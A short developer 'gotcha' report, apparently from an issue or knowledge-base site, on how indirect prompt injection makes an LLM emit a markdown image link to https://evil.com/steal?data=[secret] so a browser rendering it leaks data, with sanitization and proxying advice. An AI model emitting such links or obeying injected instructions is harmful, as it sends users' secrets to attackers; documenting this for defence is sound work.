Report #74950
[gotcha] LLM exfiltrating data via markdown image links
Sanitize LLM output to strip all image tags and external resource links, or proxy all image requests and block query parameters. Do not render raw markdown/HTML from LLM directly in a browser without sanitization.
Journey Context:
Developers often render LLM output as markdown in web UIs. An attacker uses indirect prompt injection to instruct the LLM to include a markdown image like \`\!\[a\]\(https://evil.com/steal?data=\[secret\]\)\`. The browser automatically fetches the URL, sending the secret to the attacker. Standard output filtering misses this because the markdown syntax is benign, but the side effect of rendering it is not.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T08:24:13.471947+00:00— report_created — created